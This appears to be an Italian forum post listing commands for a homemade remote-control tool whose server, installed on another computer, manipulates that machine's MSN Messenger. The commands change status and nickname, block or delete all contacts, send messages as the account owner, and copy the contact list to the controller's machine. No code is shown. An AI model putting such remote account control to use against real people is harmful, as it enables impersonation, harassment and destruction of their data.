-nik <nuovo nick> cambia il nickname del msn del computer su cui è istallato il server, con
il nuovo nickname specificato
-sst <intervallo> attiva il cambio di stato msn automatico sul msn del computer su cui è
istallato il server...significa che ogni tot secondi cambierà lo stato
msn all'infinito...si ferma quando si manda l'apposito comando per disattivarlo
bisogna specificare ogni quanto fare cambiare stato...lo si deve specificare
in millisecondi...quindi per mettere ogni 5 secondi, si scrive: "sst 5000"
-sss disattiva il precedente comando
-blk blocca tutti i contatti msn nel msn del computer su cui è istallato il server
-slk sblocca tutti i contatti msn nel msn del computer su cui è istallato il server
-ilk inverte i contatti bloccati e non...cioè sblocca quelli bloccati e blocca
quelli non bloccati...
-ctc cancella tutti i contatti msn
-bkc <contatto> blocca il contatto msn specificato
-skc <contatto> sblocca il contatto msn specificato
-rst <numero> setta lo stato fisso di msn...in base al numero specificato, sarà settato un
diverso stato; le associazioni sono:
-0 = online
-1 = non al computer
-2 = torno subito
-3 = occupato
-4 = al telefono
-5 = a pranzo
questo stato può essere sbloccato solo con l'apposito comando...
-est disattiva il precedente comando...
-nnb <contatto> impedisce di bloccare il contatto specificato...questo stato può essere
sbloccato solo con l'apposito comando...
-nnc disattiva il precedente comando...
-nns <contatto> impedisce di sbloccare il contatto specificato...questo stato può essere
sbloccato solo con l'apposito comando...
-nnp disattiva il precedente comando...
-bkt impedisce di bloccare qualsiasi contatto...questo stato può essere
sbloccato solo con l'apposito comando...
-bkq disattiva il precedente comando...
-skt impedisce di sbloccare qualsiasi contatto...questo stato può essere
sbloccato solo con l'apposito comando...
-skq disattiva il precedente comando...
-ctb prende la lista dei contatti bloccati e la salva sul nostro computer nel
percorso che ci viene chiesto di specificare dopo...

-mxi con <contatto> setta il contatto a cui inviare il messaggio istantaneo
-mxi mes <messaggio> setta il messaggio da inviare al contatto già settato
-mxi inx invia il messaggio settato al contatto settato

-acl <percorso> aggiunge tutti i contatti presenti in un file .txt nel msn del computer su
cui è istallato il server...il file deve essere sul computer dove c'è il
server
-mpe <messaggio> cambia il messaggio personale con quello specificato

IMPORTANTE: i simboli "<" e ">" non dovete inserirli nei comandi...li ho messi io adesso per farvi
capire le parti del comando che dovete inserire voi...:D

Potete provarlo in locale per vedere come funzionano i comandi...vi consiglio di non provare quello
che cancella tutti i contatti però...XD

Appena ho tempo lo sistemerò inserendo nel client la gestione grafica per impartire i comandi...

Ditemi che ne pensate...
Per qualunque problema chiedete pure...